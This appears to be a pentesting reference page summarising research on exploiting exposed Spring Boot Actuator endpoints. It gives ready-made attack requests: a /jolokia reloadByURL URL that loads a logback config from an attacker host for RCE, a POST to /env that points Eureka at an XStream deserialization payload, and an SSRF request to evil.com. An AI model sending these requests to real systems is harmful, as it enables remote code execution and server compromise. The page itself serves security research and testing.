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Spring Actuators

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Exploiting Spring Boot Actuators

Check the original post from [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]

Key Points:

  • Spring Boot Actuators register endpoints such as /health, /trace, /beans, /env, etc. In versions 1 to 1.4, these endpoints are accessible without authentication. From version 1.5 onwards, only /health and /info are non-sensitive by default, but developers often disable this security.

  • Certain Actuator endpoints can expose sensitive data or allow harmful actions:

    • /dump, /trace, /logfile, /shutdown, /mappings, /env, /actuator/env, /restart, and /heapdump.

  • In Spring Boot 1.x, actuators are registered under the root URL, while in 2.x, they are under the /actuator/ base path.

Exploitation Techniques:

  1. Remote Code Execution via '/jolokia':

    • The /jolokia actuator endpoint exposes the Jolokia Library, which allows HTTP access to MBeans.

    • The reloadByURL action can be exploited to reload logging configurations from an external URL, which can lead to blind XXE or Remote Code Execution via crafted XML configurations.

    • Example exploit URL: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml.

  2. Config Modification via '/env':

    • If Spring Cloud Libraries are present, the /env endpoint allows modification of environmental properties.

    • Properties can be manipulated to exploit vulnerabilities, such as the XStream deserialization vulnerability in the Eureka serviceURL.

    • Example exploit POST request:

      POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream

  3. Other Useful Settings:

    • Properties like spring.datasource.tomcat.validationQuery, spring.datasource.tomcat.url, and spring.datasource.tomcat.max-active can be manipulated for various exploits, such as SQL injection or altering database connection strings.

Additional Information:

  • A comprehensive list of default actuators can be found here.

  • The /env endpoint in Spring Boot 2.x uses JSON format for property modification, but the general concept remains the same.

Related Topics:

  1. Env + H2 RCE:

    • Details on exploiting the combination of /env endpoint and H2 database can be found here.

  2. SSRF on Spring Boot Through Incorrect Pathname Interpretation:

    • The Spring framework's handling of matrix parameters (;) in HTTP pathnames can be exploited for Server-Side Request Forgery (SSRF).

    • Example exploit request:

      GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
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